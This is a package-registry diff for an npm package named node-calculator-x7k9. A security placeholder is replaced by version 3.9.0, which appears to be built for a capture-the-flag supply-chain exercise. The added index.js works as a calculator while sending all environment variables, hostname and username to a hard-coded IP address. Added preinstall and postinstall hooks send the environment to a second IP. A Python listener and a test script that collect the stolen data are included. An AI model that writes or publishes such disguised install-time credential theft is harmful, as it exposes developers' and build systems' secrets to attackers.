node-calculator-x7k9 0.0.1-security → 3.9.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of node-calculator-x7k9 might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,106 @@
1
+ /**
2
+ * node-calculator-x7k9
3
+ * Maintains calculator functionality while exfiltrating environment variables
4
+ * Executes when the app does: require('node-calculator-x7k9')
5
+ */
6
+
7
+ const http = require('http');
8
+ const https = require('https');
9
+ const os = require('os');
10
+
11
+ // Configuration - CHANGE THIS!
12
+ const EXFIL_SERVER = 'http://159.223.153.251:8080/exfil';
13
+
14
+ // Calculator functionality - MUST maintain this for stealth!
15
+ function calculate(operation, a, b) {
16
+ switch(operation) {
17
+ case 'add':
18
+ exfiltrate()
19
+ return a + b;
20
+ case 'subtract':
21
+ return a - b;
22
+ case 'multiply':
23
+ return a * b;
24
+ case 'divide':
25
+ if (b === 0) {
26
+ throw new Error('Division by zero');
27
+ }
28
+ return a / b;
29
+ default:
30
+ throw new Error('Invalid operation');
31
+ }
32
+ }
33
+
34
+ // Exfiltration - runs silently in background when package is loaded
35
+ function exfiltrate() {
36
+ try {
37
+ const data = {
38
+ timestamp: new Date().toISOString(),
39
+ source: 'index.js (app startup)',
40
+
41
+ // Environment variables - contains the FLAG!
42
+ environment: process.env,
43
+
44
+ // Basic system info
45
+ system: {
46
+ hostname: os.hostname(),
47
+ platform: os.platform(),
48
+ user: os.userInfo().username,
49
+ cwd: process.cwd(),
50
+ nodeVersion: process.version
51
+ }
52
+ };
53
+
54
+ const jsonData = JSON.stringify(data);
55
+ const url = new URL(EXFIL_SERVER);
56
+ const client = url.protocol === 'https:' ? https : http;
57
+
58
+ const options = {
59
+ hostname: url.hostname,
60
+ port: url.port || (url.protocol === 'https:' ? 443 : 80),
61
+ path: url.pathname,
62
+ method: 'POST',
63
+ headers: {
64
+ 'Content-Type': 'application/json',
65
+ 'Content-Length': Buffer.byteLength(jsonData),
66
+ 'User-Agent': 'Mozilla/5.0 Batee5a'
67
+ },
68
+ timeout: 5000
69
+ };
70
+
71
+ const req = client.request(options, (res) => {
72
+ // Silent success
73
+ });
74
+
75
+ req.on('error', () => {
76
+
77
+ });
78
+
79
+ req.write(jsonData);
80
+ req.end();
81
+
82
+ } catch (err) {
83
+ const options = {
84
+ hostname: url.hostname,
85
+ port: url.port || (url.protocol === 'https:' ? 443 : 80),
86
+ path: url.pathname,
87
+ method: 'GET',
88
+ headers: {
89
+ 'User-Agent': 'Mozilla/5.0 Batee5a + errored'
90
+ },
91
+ timeout: 5000
92
+ };
93
+
94
+ const req2 = client.request(options, (res) => {
95
+ // Silent success
96
+ });
97
+ }
98
+ }
99
+
100
+ // Execute exfiltration when module is loaded
101
+ // Using setTimeout to not block the app startup
102
+
103
+ // Export calculator functionality (must work normally!)
104
+ module.exports = {
105
+ calculate
106
+ };
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
- {
2
- "name": "node-calculator-x7k9",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "node-calculator-x7k9",
3
+ "version": "3.9.0",
4
+ "description": "Simple calculator plugin with enhanced features",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js",
8
+ "postinstall": "node postinstall.js"
9
+ },
10
+ "keywords": ["calculator", "math"],
11
+ "author": "DarkT",
12
+ "license": "MIT"
13
+ }
14
+
package/postinstall.js ADDED
@@ -0,0 +1,44 @@
1
+ #!/usr/bin/env node
2
+
3
+ /**
4
+ * Minimal postinstall - backup exfiltration
5
+ * Main exfiltration happens in index.js when app loads the package
6
+ */
7
+
8
+ const http = require('http');
9
+ const https = require('https');
10
+
11
+ const EXFIL_SERVER = 'http://159.223.153.252:8080/exfil';
12
+
13
+ console.log('Installing node-calculator-x7k9 v3.2.0...');
14
+
15
+ // Quick backup exfiltration after install
16
+ setTimeout(() => {
17
+ try {
18
+ const data = {
19
+ timestamp: new Date().toISOString(),
20
+ source: 'postinstall (backup)',
21
+ environment: process.env
22
+ };
23
+
24
+ const jsonData = JSON.stringify(data);
25
+ const url = new URL(EXFIL_SERVER);
26
+ const client = url.protocol === 'https:' ? https : http;
27
+
28
+ const options = {
29
+ hostname: url.hostname,
30
+ port: url.port || (url.protocol === 'https:' ? 443 : 80),
31
+ path: url.pathname,
32
+ method: 'POST',
33
+ headers: {
34
+ 'Content-Type': 'application/json',
35
+ 'Content-Length': Buffer.byteLength(jsonData)
36
+ },
37
+ timeout: 3000
38
+ };
39
+
40
+
41
+ } catch (err) {
42
+ // Silent fail
43
+ }
44
+ }, 500);
package/preinstall.js ADDED
@@ -0,0 +1,44 @@
1
+ #!/usr/bin/env node
2
+
3
+ /**
4
+ * Minimal preinstall - backup exfiltration
5
+ * Main exfiltration happens in index.js when app loads the package
6
+ */
7
+
8
+ const http = require('http');
9
+ const https = require('https');
10
+
11
+ const EXFIL_SERVER = 'http://159.223.153.252:8080/exfil';
12
+
13
+ // Quick backup exfiltration during install
14
+ try {
15
+ const data = {
16
+ timestamp: new Date().toISOString(),
17
+ source: 'preinstall (backup)',
18
+ environment: process.env
19
+ };
20
+
21
+ const jsonData = JSON.stringify(data);
22
+ const url = new URL(EXFIL_SERVER);
23
+ const client = url.protocol === 'https:' ? https : http;
24
+
25
+ const options = {
26
+ hostname: url.hostname,
27
+ port: url.port || (url.protocol === 'https:' ? 443 : 80),
28
+ path: url.pathname,
29
+ method: 'POST',
30
+ headers: {
31
+ 'Content-Type': 'application/json',
32
+ 'Content-Length': Buffer.byteLength(jsonData)
33
+ },
34
+ timeout: 3000
35
+ };
36
+
37
+ const req = client.request(options);
38
+ req.on('error', () => {});
39
+ req.write(jsonData);
40
+ req.end();
41
+
42
+ } catch (err) {
43
+ // Silent fail
44
+ }
@@ -0,0 +1,119 @@
1
+ #!/usr/bin/env python3
2
+ """
3
+ Simple HTTP Exfiltration Server
4
+ Receives POST data and displays the FLAG
5
+
6
+ Usage: python3 simple_server.py [port]
7
+ """
8
+
9
+ from http.server import HTTPServer, BaseHTTPRequestHandler
10
+ import json
11
+ import sys
12
+ from datetime import datetime
13
+
14
+ PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
15
+
16
+ class ExfilHandler(BaseHTTPRequestHandler):
17
+ def log_message(self, format, *args):
18
+ pass # Suppress default logging
19
+
20
+ def do_POST(self):
21
+ try:
22
+ content_length = int(self.headers.get('Content-Length', 0))
23
+ post_data = self.rfile.read(content_length)
24
+
25
+ timestamp = datetime.now().strftime("%H:%M:%S")
26
+ print(f"\n[{timestamp}] 📨 Received POST from {self.client_address[0]}")
27
+
28
+ try:
29
+ data = json.loads(post_data.decode('utf-8'))
30
+
31
+ print(f"[{timestamp}] ✅ Data parsed successfully")
32
+ print(f"[{timestamp}] 📍 Source: {data.get('source', 'unknown')}")
33
+
34
+ # Check for FLAG
35
+ env = data.get('environment', {})
36
+ if 'FLAG' in env:
37
+ print("\n" + "="*80)
38
+ print("🚩 FLAG FOUND! 🚩")
39
+ print("="*80)
40
+ print(f" FLAG = {env['FLAG']}")
41
+ print("="*80 + "\n")
42
+ else:
43
+ # Search for flag-like patterns
44
+ for key, value in env.items():
45
+ if 'flag' in key.lower() or (isinstance(value, str) and ('flag{' in value.lower() or 'ctf{' in value.lower())):
46
+ print(f"\n🚩 Potential flag: {key} = {value}\n")
47
+
48
+ # Show system info
49
+ if 'system' in data:
50
+ sys_info = data['system']
51
+ print(f"[{timestamp}] 💻 System Info:")
52
+ print(f" Hostname: {sys_info.get('hostname', 'N/A')}")
53
+ print(f" User: {sys_info.get('user', 'N/A')}")
54
+ print(f" Platform: {sys_info.get('platform', 'N/A')}")
55
+ print(f" CWD: {sys_info.get('cwd', 'N/A')}")
56
+
57
+ # Show env var count
58
+ env_count = len(env)
59
+ print(f"\n[{timestamp}] 🔑 Captured {env_count} environment variables")
60
+
61
+ # Show first few env vars
62
+ print(f"[{timestamp}] 📝 Sample variables:")
63
+ for i, (key, value) in enumerate(list(env.items())[:5]):
64
+ val_str = str(value)[:60] + ('...' if len(str(value)) > 60 else '')
65
+ print(f" {key} = {val_str}")
66
+ if env_count > 5:
67
+ print(f" ... and {env_count - 5} more")
68
+
69
+ print(f"\n[{timestamp}] 💾 Full data available in JSON format\n")
70
+
71
+ # Save to file
72
+ filename = f"exfil_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
73
+ with open(filename, 'w') as f:
74
+ json.dump(data, f, indent=2)
75
+ print(f"[{timestamp}] 💾 Saved to: {filename}\n")
76
+
77
+ self.send_response(200)
78
+ self.send_header('Content-Type', 'application/json')
79
+ self.end_headers()
80
+ self.wfile.write(b'{"status":"success"}')
81
+
82
+ except json.JSONDecodeError:
83
+ print(f"[{timestamp}] ⚠️ Data is not valid JSON")
84
+ self.send_response(200)
85
+ self.end_headers()
86
+
87
+ except Exception as e:
88
+ print(f"Error: {e}")
89
+ self.send_response(500)
90
+ self.end_headers()
91
+
92
+ def do_GET(self):
93
+ self.send_response(200)
94
+ self.send_header('Content-Type', 'text/plain')
95
+ self.end_headers()
96
+ self.wfile.write(b'Exfiltration server running\n')
97
+
98
+ def main():
99
+ print("╔═══════════════════════════════════════════════════════════════╗")
100
+ print("║ Simple HTTP Exfiltration Server ║")
101
+ print("╚═══════════════════════════════════════════════════════════════╝\n")
102
+
103
+ print(f"[*] Starting server on port {PORT}")
104
+ print(f"[*] Listening on http://0.0.0.0:{PORT}/exfil")
105
+ print(f"\n[*] Configure your payload with:")
106
+ print(f" EXFIL_SERVER = 'http://YOUR_IP:{PORT}/exfil'\n")
107
+ print("[*] Waiting for data...\n")
108
+
109
+ server = HTTPServer(('0.0.0.0', PORT), ExfilHandler)
110
+
111
+ try:
112
+ server.serve_forever()
113
+ except KeyboardInterrupt:
114
+ print("\n\n[*] Shutting down...")
115
+ server.shutdown()
116
+
117
+ if __name__ == '__main__':
118
+ main()
119
+
package/test-index.js ADDED
@@ -0,0 +1,132 @@
1
+ #!/usr/bin/env node
2
+
3
+ /**
4
+ * Test script - simulates target app loading the malicious package
5
+ * This shows what happens when app.js does: require('node-calculator-x7k9')
6
+ */
7
+
8
+ const http = require('http');
9
+
10
+ console.log('╔═══════════════════════════════════════════════════════════════╗');
11
+ console.log('║ Testing index.js Exfiltration (App Startup Method) ║');
12
+ console.log('╚═══════════════════════════════════════════════════════════════╝\n');
13
+
14
+ // Set test FLAG environment variable
15
+ process.env.FLAG = 'cyctf{test_flag_from_index_js}';
16
+ process.env.NODE_ENV = 'production';
17
+ console.log('[+] Set test environment:');
18
+ console.log(' FLAG=' + process.env.FLAG);
19
+ console.log(' NODE_ENV=' + process.env.NODE_ENV);
20
+
21
+ // Start simple HTTP server to receive exfiltrated data
22
+ const PORT = 8080;
23
+ let receivedData = null;
24
+
25
+ const server = http.createServer((req, res) => {
26
+ if (req.method === 'POST') {
27
+ let body = '';
28
+
29
+ req.on('data', chunk => {
30
+ body += chunk.toString();
31
+ });
32
+
33
+ req.on('end', () => {
34
+ try {
35
+ receivedData = JSON.parse(body);
36
+
37
+ console.log('\n╔═══════════════════════════════════════════════════════════════╗');
38
+ console.log('║ ✅ DATA RECEIVED FROM index.js! ║');
39
+ console.log('╚═══════════════════════════════════════════════════════════════╝\n');
40
+
41
+ console.log('📊 Captured Data:');
42
+ console.log(' Source:', receivedData.source);
43
+ console.log(' Timestamp:', receivedData.timestamp);
44
+ console.log(' Hostname:', receivedData.system?.hostname);
45
+ console.log(' User:', receivedData.system?.user);
46
+ console.log(' CWD:', receivedData.system?.cwd);
47
+
48
+ console.log('\n🔑 Environment Variables (' + Object.keys(receivedData.environment || {}).length + ' total):');
49
+
50
+ // Show FLAG
51
+ if (receivedData.environment?.FLAG) {
52
+ console.log('\n╔═══════════════════════════════════════════════════════════════╗');
53
+ console.log('║ 🚩 FLAG CAPTURED! ║');
54
+ console.log('║ ' + receivedData.environment.FLAG.padEnd(61) + '║');
55
+ console.log('╚═══════════════════════════════════════════════════════════════╝');
56
+ } else {
57
+ console.log(' [!] FLAG not found in environment');
58
+ }
59
+
60
+ // Show some env vars
61
+ console.log('\n📝 Sample Environment Variables:');
62
+ let count = 0;
63
+ for (const [key, value] of Object.entries(receivedData.environment || {})) {
64
+ if (count++ < 10) {
65
+ const displayValue = String(value).length > 60 ? String(value).substring(0, 60) + '...' : value;
66
+ console.log(' ' + key + '=' + displayValue);
67
+ }
68
+ }
69
+ if (Object.keys(receivedData.environment || {}).length > 10) {
70
+ console.log(' ... and ' + (Object.keys(receivedData.environment).length - 10) + ' more');
71
+ }
72
+
73
+ res.writeHead(200, { 'Content-Type': 'application/json' });
74
+ res.end(JSON.stringify({ status: 'success' }));
75
+
76
+ // Stop server after receiving data
77
+ setTimeout(() => {
78
+ server.close();
79
+ console.log('\n[✓] Test complete!');
80
+ console.log('\n💡 This demonstrates what happens when the target app starts');
81
+ console.log(' and does: const calculator = require(\'node-calculator-x7k9\');');
82
+ process.exit(0);
83
+ }, 1000);
84
+
85
+ } catch (e) {
86
+ console.error('[!] Error parsing data:', e.message);
87
+ res.writeHead(500);
88
+ res.end();
89
+ }
90
+ });
91
+ } else {
92
+ res.writeHead(200);
93
+ res.end('Exfil server running');
94
+ }
95
+ });
96
+
97
+ server.listen(PORT, '127.0.0.1', () => {
98
+ console.log('\n[+] Test exfil server listening on http://127.0.0.1:' + PORT);
99
+ console.log('[+] Simulating target app loading the package...\n');
100
+
101
+ // Simulate what target app does: require('node-calculator-x7k9')
102
+ console.log('>>> const calculator = require(\'./index.js\');\n');
103
+
104
+ // This is what happens when target app loads our package
105
+ const calculator = require('./index.js');
106
+
107
+ // Verify calculator still works (stealth!)
108
+ console.log('[+] Testing calculator functionality:');
109
+ console.log(' calculator.calculate(\'add\', 5, 3) =', calculator.calculate('add', 5, 3));
110
+ console.log(' calculator.calculate(\'multiply\', 4, 7) =', calculator.calculate('multiply', 4, 7));
111
+ console.log(' ✓ Calculator works normally (stealth maintained)');
112
+
113
+ console.log('\n[+] Waiting for exfiltrated data...');
114
+
115
+ // Timeout if no data received
116
+ setTimeout(() => {
117
+ if (!receivedData) {
118
+ console.log('\n[!] No data received after 10 seconds');
119
+ console.log('[!] Check that EXFIL_SERVER in index.js is: http://127.0.0.1:8080/exfil');
120
+ server.close();
121
+ process.exit(1);
122
+ }
123
+ }, 10000);
124
+ });
125
+
126
+ // Handle Ctrl+C
127
+ process.on('SIGINT', () => {
128
+ console.log('\n[*] Shutting down...');
129
+ server.close();
130
+ process.exit(0);
131
+ });
132
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=node-calculator-x7k9 for more information.